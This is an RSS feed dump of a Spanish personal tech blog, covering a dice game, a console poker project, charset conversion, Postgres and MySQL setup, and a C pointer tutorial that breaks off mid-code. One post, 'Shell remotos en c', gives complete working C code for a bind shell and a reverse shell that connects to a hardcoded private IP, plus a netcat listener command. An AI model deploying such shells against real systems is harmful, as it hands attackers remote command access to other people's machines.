pello.info News pello.info News syndication 2010-09-03 07:09:08 es The Three Towers game http://www.pello.info/blog/the-three-towers-game_2 http://www.pello.info/blog/the-three-towers-game_2 1280965303 pello http://www.pello.info/blog/the-three-towers-game_2 The Three Towers Image of three towers game
A fast game for 2 players.(En español)

Middle age. War is coming to the city pamplona. The growing tension between burgs had pushed them to build a defense. But there is not enough stone available to stand it. Be the first to build three towers and victory will be yours.

Components: 17 D6 dices of any colour.

Image of three towers game
Game components for 2 players

Goal

You have to build 3 towers each of them using 3 dices stacked and sorted from minor to major values. You can't repeat the same value in one tower.

Turn sequence

Eash player roll one dice in turn and tries to start new tower, stack the dice or pass. Stacked dices cannot be altered unless you roll a 6.

Image of three towers game
Red initial
Image of three towers game
Red progress

Roll a 6

If a player gets a 6, he has these options:

  • Roll again
  • Finish and secure a tower. A tower finished in 6 can't be altered by any player (even himself)
  • Swap his top stacked dices with other top stacked ones or with the newly rolled 6 (discard leftover dice)
  • Blow up 1 top dice from enemies towers.
  • 666: when a player gets a 6 three times followed (in the same turn or not) he destroys one enemy tower even if It is secured

Image of three towers game
Blue progress

Game ends

The game ends when one player builds three towers. The other player has a last chance to roll a dice, but unless he gets a 6 he lose.

Image of three towers game
Blue wins

Variants

This game is very very simple so you should test possible variants

  • Use towers of 4 dices
  • More than 2 players
  • Using rpg dices: d10, d8, d4,...
  • Zombie dice mode: use coloured dices and take them blindly from a bag; yellow could be value-1, green the same value and red value+1


Las Tres Torres

Fast game for 2 players.

La edad media. Suenan tambores de guerra en Pamplona. La tensión entre los distintos burgos los ha obligado a levantar defensas. Pero parece que no hay suficiente roca para levantar los muros. Si eres el primero en levantar tres torres tuya es la victoria.

Componentes: 17 dados de 6 caras de cualquier color.

Image of three towers game
Foto: componentes para 2 jugadores

Objetivo

Debes construir tres torres, cada una de ellas formada por tres dados apilados y ordenados por valores de menor a mayor, sin que se repita el mismo valor en una misma torre.

Secuencia de turno

Cada jugador tira un dado en su turno y según el valor sacado trata de iniciar una nueva torre, apilar el dado en una torre iniciada o pasar. Los dados ya apilados no pueden moverse a menos que se saque un 6.

Image of three towers game
Inicios del jugador rojo
Image of three towers game
Progresos del jugador rojo

¡Sacas un 6!

Si sacas un 6 tienes estas opciones:

  • Tirar de nuevo.
  • Finalizar y asegurar una torre. Una torre finalizada en 6 no puede ser alterada por ningún jugador (ni por un su propio dueño)
  • Intercambiar los dados de arriba (de torres acabadas o no) entre si o con el dado que se acaba de tirar. Si alguno queda suelto vuelve a estar disponible para tirar.
  • Te cargas un dado superior (de torres acabadas o no) del enemigo
  • 666: cuando un jugador saca tres veces consecutivas un 6, en el mismo turno o en turnos consecutivos destruye una de las torres del enemugo, aunque esté asegurada.

Image of three towers game
Progresos del jugador azul

Fin del juego

El juego finaliza cuando un jugador levanta tres torres. El otro jugador tiene una última oportunidad para tirar el dado, pero a menos que saque un 6 pierde.

Image of three towers game
Gana el azul

Variantes

Este juego es tan sonrojantemente simple que puedes probar otras variantes

  • User torres de 4 dados
  • Jugar más de 2
  • Usar dados de rol: d10, d8, d4,...
  • Modo Zombie dice: usar dados de colores sacados a ciegas de una bolsa/cubo. Por ejemplo un dado amarillo puede tener un valor-1, uno verde el mismo y un dado rojo valor+1

]]>
The Three Towers Image of three towers game
A fast game for 2 players.(En español)

Middle age. War is coming to the city pamplona. The growing tension between burgs had pushed them to build a defense. But there is not enough stone available to stand it. Be the first to build three towers and victory will be yours.

Components: 17 D6 dices of any colour.

Image of three towers game
Game components for 2 players

Goal

You have to build 3 towers each of them using 3 dices stacked and sorted from minor to major values. You can't repeat the same value in one tower.

Turn sequence

Eash player roll one dice in turn and tries to start new tower, stack the dice or pass. Stacked dices cannot be altered unless you roll a 6.

Image of three towers game
Red initial
Image of three towers game
Red progress

Roll a 6

If a player gets a 6, he has these options:

  • Roll again
  • Finish and secure a tower. A tower finished in 6 can't be altered by any player (even himself)
  • Swap his top stacked dices with other top stacked ones or with the newly rolled 6 (discard leftover dice)
  • Blow up 1 top dice from enemies towers.
  • 666: when a player gets a 6 three times followed (in the same turn or not) he destroys one enemy tower even if It is secured

Image of three towers game
Blue progress

Game ends

The game ends when one player builds three towers. The other player has a last chance to roll a dice, but unless he gets a 6 he lose.

Image of three towers game
Blue wins

Variants

This game is very very simple so you should test possible variants

  • Use towers of 4 dices
  • More than 2 players
  • Using rpg dices: d10, d8, d4,...
  • Zombie dice mode: use coloured dices and take them blindly from a bag; yellow could be value-1, green the same value and red value+1


Las Tres Torres

Fast game for 2 players.

La edad media. Suenan tambores de guerra en Pamplona. La tensión entre los distintos burgos los ha obligado a levantar defensas. Pero parece que no hay suficiente roca para levantar los muros. Si eres el primero en levantar tres torres tuya es la victoria.

Componentes: 17 dados de 6 caras de cualquier color.

Image of three towers game
Foto: componentes para 2 jugadores

Objetivo

Debes construir tres torres, cada una de ellas formada por tres dados apilados y ordenados por valores de menor a mayor, sin que se repita el mismo valor en una misma torre.

Secuencia de turno

Cada jugador tira un dado en su turno y según el valor sacado trata de iniciar una nueva torre, apilar el dado en una torre iniciada o pasar. Los dados ya apilados no pueden moverse a menos que se saque un 6.

Image of three towers game
Inicios del jugador rojo
Image of three towers game
Progresos del jugador rojo

¡Sacas un 6!

Si sacas un 6 tienes estas opciones:

  • Tirar de nuevo.
  • Finalizar y asegurar una torre. Una torre finalizada en 6 no puede ser alterada por ningún jugador (ni por un su propio dueño)
  • Intercambiar los dados de arriba (de torres acabadas o no) entre si o con el dado que se acaba de tirar. Si alguno queda suelto vuelve a estar disponible para tirar.
  • Te cargas un dado superior (de torres acabadas o no) del enemigo
  • 666: cuando un jugador saca tres veces consecutivas un 6, en el mismo turno o en turnos consecutivos destruye una de las torres del enemugo, aunque esté asegurada.

Image of three towers game
Progresos del jugador azul

Fin del juego

El juego finaliza cuando un jugador levanta tres torres. El otro jugador tiene una última oportunidad para tirar el dado, pero a menos que saque un 6 pierde.

Image of three towers game
Gana el azul

Variantes

Este juego es tan sonrojantemente simple que puedes probar otras variantes

  • User torres de 4 dados
  • Jugar más de 2
  • Usar dados de rol: d10, d8, d4,...
  • Modo Zombie dice: usar dados de colores sacados a ciegas de una bolsa/cubo. Por ejemplo un dado amarillo puede tener un valor-1, uno verde el mismo y un dado rojo valor+1

]]>
http://www.pello.info/blog/the-three-towers-game_2
cpoker, un poker de consola http://www.pello.info/blog/cpoker-un-poker-de-consola_2 http://www.pello.info/blog/cpoker-un-poker-de-consola_2 1276590125 pello http://www.pello.info/blog/cpoker-un-poker-de-consola_2 Bueno, pues el caso es que echaba de menos un juego de poker para consola, y teniendo en cuenta que en el juego de caracteres extendidos ASCII tenemos los símbolos de la baraja, y que podemos alterar los colores, pues... vaya! ¡si es que está a huevo!

pantallazo de cpoker

Seguramente ya existe alguna versión por ahí de hace 30 años pero también se trata de saber sacar esto por uno mismo. De momento ha sido interesante programar la parte de calcular las jugadas posibles, determinar el ganador, etc...

cpoker está en versión alfa, siendo generosos. Falta implementar el all-in, la computadora tiene menos inteligencia que un gato de escayola y aún sale algún null. Estamos (acento tejano)... trabajando en ello Lo cierto es que empiezas y no paras, porque tener una mano buena moooola

Aquí puedes ver ese peazo de mano que me salió, unas Snake Eyes como dicen los enfermos: Snake Eyes en el cpoker

De momento el proyecto está alojado en google code.

Puedes descargar el código fuente a través de SUBVERSION con el siguiente comando: svn checkout http://cpoker.googlecode.com/svn/trunk/ cpoker

O bien descargar directamente las fuentes en un único fichero comprimido: Descargar cpoker

Tal cual está de momento se puede compilar sin problema en linux con un compilador de c. En Windows se puede peeeero, al hacer referencia a librerías tipo gettext es... una movida. Aparte que los simbolitos de la baraja francesa no salen en windows (algo tendré que corregir)

]]>
Bueno, pues el caso es que echaba de menos un juego de poker para consola, y teniendo en cuenta que en el juego de caracteres extendidos ASCII tenemos los símbolos de la baraja, y que podemos alterar los colores, pues... vaya! ¡si es que está a huevo!

pantallazo de cpoker

Seguramente ya existe alguna versión por ahí de hace 30 años pero también se trata de saber sacar esto por uno mismo. De momento ha sido interesante programar la parte de calcular las jugadas posibles, determinar el ganador, etc...

cpoker está en versión alfa, siendo generosos. Falta implementar el all-in, la computadora tiene menos inteligencia que un gato de escayola y aún sale algún null. Estamos (acento tejano)... trabajando en ello Lo cierto es que empiezas y no paras, porque tener una mano buena moooola

Aquí puedes ver ese peazo de mano que me salió, unas Snake Eyes como dicen los enfermos: Snake Eyes en el cpoker

De momento el proyecto está alojado en google code.

Puedes descargar el código fuente a través de SUBVERSION con el siguiente comando: svn checkout http://cpoker.googlecode.com/svn/trunk/ cpoker

O bien descargar directamente las fuentes en un único fichero comprimido: Descargar cpoker

Tal cual está de momento se puede compilar sin problema en linux con un compilador de c. En Windows se puede peeeero, al hacer referencia a librerías tipo gettext es... una movida. Aparte que los simbolitos de la baraja francesa no salen en windows (algo tendré que corregir)

]]>
http://www.pello.info/blog/cpoker-un-poker-de-consola_2
openhotornot & edansornot http://www.pello.info/blog/openhotornot-edansornot http://www.pello.info/blog/openhotornot-edansornot 1274342256 pello http://www.pello.info/blog/openhotornot-edansornot Logo Open Hot or Not

Un buen día estaba con un amiguete en un bar, y tras meternos unas patatas bravas se nos fue el riego al estomago y surgió la idea de un sistema de ranking llamado edansornot. Dicho y hecho: edansornot.com ya es una realidad y su código fuente queda disponible para el que le interese en un proyecto llamado openhotornot.

Mientras nos llueven las demandas hay que explicar que openhotornot no es más que otra aplicación php+mysql más de esas que aplica el MVC con un framework similar al que utiliza este sitio. Una vez más se reinventa la rueda cuando ya existen maravillas como codeigniter...

En fin, este framework hace cosas algo burras (marca de la casa): todos los formularios están metidos en tablas de la BD, todas las queries de SQL están en la BD, las páginas y los ACL están en la BD, etc... existe una clase llamada admintable que permite crear un interfaz de administración de determinada tabla de forma fácil (como hace access). La razón para esto es que se puedan modificar los formularios desde la adminsitración de la web.
En cuanto a la seguridad, todo lo que llega por POST y GET se filtra, así como lo que se manda a SQL. Seguro que aún y todo hay fallos.... Por otro lado, necesita el mod_rewrite para que las url le molen a los buscadores.

Bueno, espero que alguien al menos saque alguna idea útil de todo esto.

Logo Open Hot or Not ]]>
Logo Open Hot or Not

Un buen día estaba con un amiguete en un bar, y tras meternos unas patatas bravas se nos fue el riego al estomago y surgió la idea de un sistema de ranking llamado edansornot. Dicho y hecho: edansornot.com ya es una realidad y su código fuente queda disponible para el que le interese en un proyecto llamado openhotornot.

Mientras nos llueven las demandas hay que explicar que openhotornot no es más que otra aplicación php+mysql más de esas que aplica el MVC con un framework similar al que utiliza este sitio. Una vez más se reinventa la rueda cuando ya existen maravillas como codeigniter...

En fin, este framework hace cosas algo burras (marca de la casa): todos los formularios están metidos en tablas de la BD, todas las queries de SQL están en la BD, las páginas y los ACL están en la BD, etc... existe una clase llamada admintable que permite crear un interfaz de administración de determinada tabla de forma fácil (como hace access). La razón para esto es que se puedan modificar los formularios desde la adminsitración de la web.
En cuanto a la seguridad, todo lo que llega por POST y GET se filtra, así como lo que se manda a SQL. Seguro que aún y todo hay fallos.... Por otro lado, necesita el mod_rewrite para que las url le molen a los buscadores.

Bueno, espero que alguien al menos saque alguna idea útil de todo esto.

Logo Open Hot or Not ]]>
http://www.pello.info/blog/openhotornot-edansornot
Descubriendo juegos de caracteres http://www.pello.info/blog/descubriendo-juegos-de-caracteres http://www.pello.info/blog/descubriendo-juegos-de-caracteres 1269418958 pello http://www.pello.info/blog/descubriendo-juegos-de-caracteres dbf_dump. Una vez tienes el fichero puedes echar un ojo (a ojo) si te salen las tildes y las Ñs, o bien puedes echar mano del comando file. Puede que los caracteres salgan mal y file diga esto: linux$ file -i fichero.csv fichero.csv: text/plain charset=unknown linux$ Ups! Vale, qué no punda el canico. Sabemos que disponemos del comando iconv para hacer la conversión de caracteres. El formato es así: linux$ iconv --from=JUEGO_DE_CARACTERES_ORIGEN --to=JUEGO DE CARACTERES_DESTINO fichero.csv > resultado.csv Pero estamos en las mismas. Sabemos lo que queremos, tenemos la herramienta, pero no conocemos el JUEGO_DE_CARACTERES_ORIGEN. Bueno, la informática permite hacer el burro y probar los 1000y poco juegos disponibles con iconv y un simple bucle.Y uno, como es muy bruto y a veces no se tiene tiempo de investigar más y de documentarse sobre los juegos de caracteres de DOS y tal pues nada, todos al bucle y a ver cuál funciona. Primero necesitamos la lista de juego de caracteres: linux$ for i in `iconv -l`; do echo $i; done > juegos.txt Con eso generamos la lista, quizá haya que editarla y reemplazar caracteres \\, vale, no me apetece buscar la orden sed, no me la "sed" de memoria (festivaaaal del humooor). Y ahora vamos a lo bruto. En un bucle for sacamos las 10 primeras líneas del fichero misterioso y vamos probando cada uno de los juegos de caracteres, guardando el resultado en un fichero con el nombre modificado: linux$ for i in `cat juegos.txt` do echo -n Convirtiendo ${i} head fichero.csv | iconv --from=$i --to=UTF-8 > fichero.${i}.csv echo done done linux$ Echamos un ojo a los resultados, con un GREP que busque una línea concreta eta kitto!! Puede que el juego sea un 850 o similar. ]]> dbf_dump. Una vez tienes el fichero puedes echar un ojo (a ojo) si te salen las tildes y las Ñs, o bien puedes echar mano del comando file. Puede que los caracteres salgan mal y file diga esto: linux$ file -i fichero.csv fichero.csv: text/plain charset=unknown linux$ Ups! Vale, qué no punda el canico. Sabemos que disponemos del comando iconv para hacer la conversión de caracteres. El formato es así: linux$ iconv --from=JUEGO_DE_CARACTERES_ORIGEN --to=JUEGO DE CARACTERES_DESTINO fichero.csv > resultado.csv Pero estamos en las mismas. Sabemos lo que queremos, tenemos la herramienta, pero no conocemos el JUEGO_DE_CARACTERES_ORIGEN. Bueno, la informática permite hacer el burro y probar los 1000y poco juegos disponibles con iconv y un simple bucle.Y uno, como es muy bruto y a veces no se tiene tiempo de investigar más y de documentarse sobre los juegos de caracteres de DOS y tal pues nada, todos al bucle y a ver cuál funciona. Primero necesitamos la lista de juego de caracteres: linux$ for i in `iconv -l`; do echo $i; done > juegos.txt Con eso generamos la lista, quizá haya que editarla y reemplazar caracteres \\, vale, no me apetece buscar la orden sed, no me la "sed" de memoria (festivaaaal del humooor). Y ahora vamos a lo bruto. En un bucle for sacamos las 10 primeras líneas del fichero misterioso y vamos probando cada uno de los juegos de caracteres, guardando el resultado en un fichero con el nombre modificado: linux$ for i in `cat juegos.txt` do echo -n Convirtiendo ${i} head fichero.csv | iconv --from=$i --to=UTF-8 > fichero.${i}.csv echo done done linux$ Echamos un ojo a los resultados, con un GREP que busque una línea concreta eta kitto!! Puede que el juego sea un 850 o similar. ]]> http://www.pello.info/blog/descubriendo-juegos-de-caracteres Poker Cards SVG http://www.pello.info/blog/poker-cards-svg http://www.pello.info/blog/poker-cards-svg 1265361877 pello http://www.pello.info/blog/poker-cards-svg SVG poker cards

This is a first version of a set of poker cards in scalar vector graphics format. It's made using Inkscape with scanned figures for the Jacks, Queens and Kings.

Primera versión de una baraja de cartas de poker en dibujo vectorial (svg). Creada con Inkscape y echando mano de unas figuras escaneadas para las J, Q y K.

]]>
SVG poker cards

This is a first version of a set of poker cards in scalar vector graphics format. It's made using Inkscape with scanned figures for the Jacks, Queens and Kings.

Primera versión de una baraja de cartas de poker en dibujo vectorial (svg). Creada con Inkscape y echando mano de unas figuras escaneadas para las J, Q y K.

]]>
http://www.pello.info/blog/poker-cards-svg
This web is under destruction http://www.pello.info/blog/this-web-is-under-destruction_2 http://www.pello.info/blog/this-web-is-under-destruction_2 1262789527 pello http://www.pello.info/blog/this-web-is-under-destruction_2 http://www.pello.info/blog/this-web-is-under-destruction_2 Iniciar postgres 8.3 en debian lenny http://www.pello.info/blog/iniciar-postgres-8-3-en-debian-lenny_2 http://www.pello.info/blog/iniciar-postgres-8-3-en-debian-lenny_2 1244195329 pello http://www.pello.info/blog/iniciar-postgres-8-3-en-debian-lenny_2 Resulta que el postgres no funciona solito en el lenny y hay que hacer algún apaño después del apt-get.

Bueno esta es una solución, la primera parte con una explicación encontrada en internet de la mano de Alvarus, pero no bastaba.

gandalf:~# mkdir -p /var/pgsql
gandalf:~# mkdir -p /var/pgsql/data
gandalf:~# chown postgres /var/pgsql/data

gandalf:~# su - postgres
postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/initdb -E utf8 -U postgres -D /var/pgsql/data/
Los archivos de este cluster serán de propiedad del usuario «postgres».
Este usuario también debe ser quien ejecute el proceso servidor.
El cluster será inicializado con configuración local es_ES.UTF-8.
La configuración de búsqueda en texto ha sido definida a «spanish».

corrigiendo permisos en el directorio existente /var/pgsql/data ... hecho
creando subdirectorios ... hecho
seleccionando el valor para max_connections ... 100
seleccionando el valor para shared_buffers/max_fsm_pages ... 24MB/153600
creando archivos de configuración ... hecho
creando base de datos template1 en /var/pgsql/data/base/1 ... hecho
inicializando pg_authid ... hecho
inicializando dependencias ... hecho
creando las vistas de sistema ... hecho
cargando las descripciones de los objetos del sistema ... hecho
creando conversiones ... hecho
creando directorios ... hecho
estableciendo privilegios en objetos predefinidos ... hecho
creando el esquema de información ... hecho
haciendo vacuum a la base de datos template1 ... hecho
copiando template1 a template0 ... hecho
copiando template1 a postgres ... hecho

ATENCIÓN: activando autentificación «trust» para conexiones locales.
Puede cambiar esto editando pg_hba.conf o usando el parámetro -A
la próxima vez que ejecute initdb.

Completado. Puede iniciar el servidor de bases de datos usando:

    /usr/lib/postgresql/8.3/bin/postgres -D /var/pgsql/data
o
    /usr/lib/postgresql/8.3/bin/pg_ctl -D /var/pgsql/data -l archivo_de_registro start

postgres@gandalf:~$ 

Con eso no basta, luego hay que inicializar. Inicializar:

postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/postgres -D /var/pgsql/data
LOG:  el sistema de bases de datos fue apagado en 2009-06-05 09:34:46 CEST
LOG:  lanzador de autovacuum iniciado
LOG:  el sistema de bases de datos está listo para aceptar conexiones

gandalf:~# pg_createcluster 8.3 main
Creating new cluster (configuration: /etc/postgresql/8.3/main, data: /var/lib/postgresql/8.3/main)...
Moving configuration file /var/lib/postgresql/8.3/main/postgresql.conf to /etc/postgresql/8.3/main...
Moving configuration file /var/lib/postgresql/8.3/main/pg_hba.conf to /etc/postgresql/8.3/main...
Moving configuration file /var/lib/postgresql/8.3/main/pg_ident.conf to /etc/postgresql/8.3/main...
Configuring postgresql.conf to use port 5433...

El puerto se inicia en el 5433. Lo podemos cambiar en postgresql.conf. Ahora creamos la BBDD y un usuario especifico.

gandalf:~# su - postgres

postgres@gandalf:~$ psql template1
template1=# CREATE DATABASE nombredb;
template1=# create user nombreusuario with password 'superpassword';
template1=# grant all on database nombredb to nombreusuario;
]]>
Resulta que el postgres no funciona solito en el lenny y hay que hacer algún apaño después del apt-get.

Bueno esta es una solución, la primera parte con una explicación encontrada en internet de la mano de Alvarus, pero no bastaba.

gandalf:~# mkdir -p /var/pgsql
gandalf:~# mkdir -p /var/pgsql/data
gandalf:~# chown postgres /var/pgsql/data

gandalf:~# su - postgres
postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/initdb -E utf8 -U postgres -D /var/pgsql/data/
Los archivos de este cluster serán de propiedad del usuario «postgres».
Este usuario también debe ser quien ejecute el proceso servidor.
El cluster será inicializado con configuración local es_ES.UTF-8.
La configuración de búsqueda en texto ha sido definida a «spanish».

corrigiendo permisos en el directorio existente /var/pgsql/data ... hecho
creando subdirectorios ... hecho
seleccionando el valor para max_connections ... 100
seleccionando el valor para shared_buffers/max_fsm_pages ... 24MB/153600
creando archivos de configuración ... hecho
creando base de datos template1 en /var/pgsql/data/base/1 ... hecho
inicializando pg_authid ... hecho
inicializando dependencias ... hecho
creando las vistas de sistema ... hecho
cargando las descripciones de los objetos del sistema ... hecho
creando conversiones ... hecho
creando directorios ... hecho
estableciendo privilegios en objetos predefinidos ... hecho
creando el esquema de información ... hecho
haciendo vacuum a la base de datos template1 ... hecho
copiando template1 a template0 ... hecho
copiando template1 a postgres ... hecho

ATENCIÓN: activando autentificación «trust» para conexiones locales.
Puede cambiar esto editando pg_hba.conf o usando el parámetro -A
la próxima vez que ejecute initdb.

Completado. Puede iniciar el servidor de bases de datos usando:

    /usr/lib/postgresql/8.3/bin/postgres -D /var/pgsql/data
o
    /usr/lib/postgresql/8.3/bin/pg_ctl -D /var/pgsql/data -l archivo_de_registro start

postgres@gandalf:~$ 

Con eso no basta, luego hay que inicializar. Inicializar:

postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/postgres -D /var/pgsql/data
LOG:  el sistema de bases de datos fue apagado en 2009-06-05 09:34:46 CEST
LOG:  lanzador de autovacuum iniciado
LOG:  el sistema de bases de datos está listo para aceptar conexiones

gandalf:~# pg_createcluster 8.3 main
Creating new cluster (configuration: /etc/postgresql/8.3/main, data: /var/lib/postgresql/8.3/main)...
Moving configuration file /var/lib/postgresql/8.3/main/postgresql.conf to /etc/postgresql/8.3/main...
Moving configuration file /var/lib/postgresql/8.3/main/pg_hba.conf to /etc/postgresql/8.3/main...
Moving configuration file /var/lib/postgresql/8.3/main/pg_ident.conf to /etc/postgresql/8.3/main...
Configuring postgresql.conf to use port 5433...

El puerto se inicia en el 5433. Lo podemos cambiar en postgresql.conf. Ahora creamos la BBDD y un usuario especifico.

gandalf:~# su - postgres

postgres@gandalf:~$ psql template1
template1=# CREATE DATABASE nombredb;
template1=# create user nombreusuario with password 'superpassword';
template1=# grant all on database nombredb to nombreusuario;
]]>
http://www.pello.info/blog/iniciar-postgres-8-3-en-debian-lenny_2
Migrar BD access a Mysql http://www.pello.info/blog/migrar-bd-access-a-mysql http://www.pello.info/blog/migrar-bd-access-a-mysql 1241695606 pello http://www.pello.info/blog/migrar-bd-access-a-mysql Supongo que habrá formas mejores de hacerlo o incluso herramientas concretas. El caso es que se pueden pasar las tablas de access a Mysql de forma sencilla de dos maneras

Usando el odbc

Se puede hacer todo desde windows.

  1. Instalamos el appserv que ya trae el apache+mysql+php+phpmyadmin.
  2. Instalamos el ODBC para mysql. 
  3. Creamos una BBDD mysql a través de phpmyadmin
  4. Metemos una entrada en el gestor de odbc para la nueva BBDD mysql.
  5. Abrimos access. Si no muestra las tablas y solo se ven formularios hay que iniciarlo con la tecla mayúsculas apretada: así veremos todos los objetos access (tablas, consultas,...)
  6. Seleccionamos una tabla y vamos a archivo>exportar. Exportamos a un origen odbc, seleccionamos la BBDD mysql y listo. La tabla pasará de access a Mysql

A través de ficheros CSV

El método anterior parece bastante automático pero puede que los acentos no se pasen correctamente. Así que podemos usar otra forma que asegure la presencia de nuestros queridos caracteres.

  1. Desde access exportamos las tablas en formato excel. O directamente a CSV
  2. Creamos una BBDD mysql para meter las tablas.
  3. Con cada tabla en formato CSV, con los campos separados por ; tenemos que importar los datos. Desde la consola de mysql hariamos lo siguiente:

mysql> load data infile '/tmp/tablaexportada.csv' into table nueva_tabla character set UTF8 fields terminated by ';';

En el comando load data podemos decirle el juego de caracteres (UTF8) y así las tildes se verán bien. Probado con access 2003 y mysql5

]]>
Supongo que habrá formas mejores de hacerlo o incluso herramientas concretas. El caso es que se pueden pasar las tablas de access a Mysql de forma sencilla de dos maneras

Usando el odbc

Se puede hacer todo desde windows.

  1. Instalamos el appserv que ya trae el apache+mysql+php+phpmyadmin.
  2. Instalamos el ODBC para mysql. 
  3. Creamos una BBDD mysql a través de phpmyadmin
  4. Metemos una entrada en el gestor de odbc para la nueva BBDD mysql.
  5. Abrimos access. Si no muestra las tablas y solo se ven formularios hay que iniciarlo con la tecla mayúsculas apretada: así veremos todos los objetos access (tablas, consultas,...)
  6. Seleccionamos una tabla y vamos a archivo>exportar. Exportamos a un origen odbc, seleccionamos la BBDD mysql y listo. La tabla pasará de access a Mysql

A través de ficheros CSV

El método anterior parece bastante automático pero puede que los acentos no se pasen correctamente. Así que podemos usar otra forma que asegure la presencia de nuestros queridos caracteres.

  1. Desde access exportamos las tablas en formato excel. O directamente a CSV
  2. Creamos una BBDD mysql para meter las tablas.
  3. Con cada tabla en formato CSV, con los campos separados por ; tenemos que importar los datos. Desde la consola de mysql hariamos lo siguiente:

mysql> load data infile '/tmp/tablaexportada.csv' into table nueva_tabla character set UTF8 fields terminated by ';';

En el comando load data podemos decirle el juego de caracteres (UTF8) y así las tildes se verán bien. Probado con access 2003 y mysql5

]]>
http://www.pello.info/blog/migrar-bd-access-a-mysql
Shell remotos en c http://www.pello.info/blog/shell-remotos-en-c http://www.pello.info/blog/shell-remotos-en-c 1241091190 pello http://www.pello.info/blog/shell-remotos-en-c En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,

 

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int sock,canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;

sock=socket(2,1,0);

bind(sock,(struct sockaddr *) &dir_servidor,0x10);

listen(sock,1);

canal = accept(sock,0,0);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}

Hacer un shell inverso tampoco es complicado, luego basta con usar netcat al otro lado.

/**
* reverseshell.c
* Shell inverso. Se conecta a un socket externo
* y asocia a un shell local.
* Para generar una IP en hexadecimal
*   perl -e 'printf "0x" . "%02x"x4 . "n",249,1,168,192'
* El puerto tb es un número hexadecimal:
*   perl -e 'printf "0x" . "%04x" . "n",14099'
*   darle la vuelta al resultado por pares: 0x3713 pasar a 0x1337
* Para compilar:
* gcc -o reverseshell reverseshell.c
* Para comprobar:
* nc -l -p  14099
*/

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0xf901a8c0;
dir_servidor.sin_port=0x1337;

canal=socket(2,1,6);

connect(canal,(struct sockaddr *) &dir_servidor,0x10);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}
]]>
En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,

 

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int sock,canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;

sock=socket(2,1,0);

bind(sock,(struct sockaddr *) &dir_servidor,0x10);

listen(sock,1);

canal = accept(sock,0,0);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}

Hacer un shell inverso tampoco es complicado, luego basta con usar netcat al otro lado.

/**
* reverseshell.c
* Shell inverso. Se conecta a un socket externo
* y asocia a un shell local.
* Para generar una IP en hexadecimal
*   perl -e 'printf "0x" . "%02x"x4 . "n",249,1,168,192'
* El puerto tb es un número hexadecimal:
*   perl -e 'printf "0x" . "%04x" . "n",14099'
*   darle la vuelta al resultado por pares: 0x3713 pasar a 0x1337
* Para compilar:
* gcc -o reverseshell reverseshell.c
* Para comprobar:
* nc -l -p  14099
*/

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0xf901a8c0;
dir_servidor.sin_port=0x1337;

canal=socket(2,1,6);

connect(canal,(struct sockaddr *) &dir_servidor,0x10);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}
]]>
http://www.pello.info/blog/shell-remotos-en-c
Punteros y arrays en C http://www.pello.info/blog/punteros-y-arrays-en-c http://www.pello.info/blog/punteros-y-arrays-en-c 1239182305 pello http://www.pello.info/blog/punteros-y-arrays-en-c

Un puntero es una variable que en un lugar de contener un valor
contiene la dirección de una variable. Se pueden crear punteros
a todos los tipos de variables y la
sintaxis de su declaración es casí como la de las
variables normales, salvo que se añade el símbolo *.
Veamos una variable int normal y un puntero llamado p:

int numero;
int *p;

numero = 31337;
p = 666;

Si representamos gráficamente estas variables tipo int
tendríamos algo así:
Puntero

Es decir, así como la variable número es un entero que
contiene un valor concreto (31337), la variable p lo que contiene es un
dirección
de memoria donde reside un valor entero: 666. ¿Podemos hacer
esto?
p = numero;

¡No! pese a que las dos manejan tipos int, son variables
incompatibles: numero es un número entero y p un puntero. Para
asignar el valor de
numero a p debemos hacer lo siguiente:

p = &numero;

Con el símbolo lo que hacemos es asignar la dirección de
memoria de la variable numero, y eso sí es compatible. Pero...
¿qué es lo que ocurre realmente?
¿Se hace una copia de ese valor? No! Con la asignación p
= &numero; estamos haciendo lo siguiente:

puntero

¿Y qué ocurre ahora? Las dos variables hacer referencia a
la misma posición de la memoria, por tanto si hacemos:

*p = 1457;

Ocurrirá que:
puntero

El valor de la variable numero también cambia!
Las posibles operaciones con punteros se pueden resumir en este
pequeño código:

int
numero; /* numero es un entero */

int cifra = 43; /*
cifra es un entero */


numero = 536;

int *p; /* p
no es más que un apuntador a un entero*/


p =
&cifra; /* ahora p apunta al
entero cifra, por tanto p apunta al valor 43 */

numero = *p; /* ahora
numero vale lo que apunta p (a cifra), por tanto numero es 43 */

*p =
3; /*
ahora cifra vale 3 */
++*p;
/* ahora cifra vale 4 */
numero = *p + 5; /* ahora numero vale lo que apunta p
más 5, 9 */
(*p)++;
/* ahora cifra vale 5 */


¿Todavía no te
cuadra? Edita, compila y ejecuta este código, y lo
comprobarás:

#include <stdio.h>

main ()
{
int numero, x;
int *p;

numero = 31337;
p = &x;
*p = 666;

printf("Paso 1: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("En que posicion de memoria esta x: %d ", &x);
printf("Valor de numero: %d , y de p: %d ", numero, p);

/* Le asignamos el valor... */
p = &numero;

printf("Paso 2: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("En que posicion de memoria esta numero: %d ", &x);
printf("Valor de numero: %d , y de p: %d ", numero, *p);

/* Le cambiamos el valor a p ... */
*p = 1457;

printf("Paso 3: ");
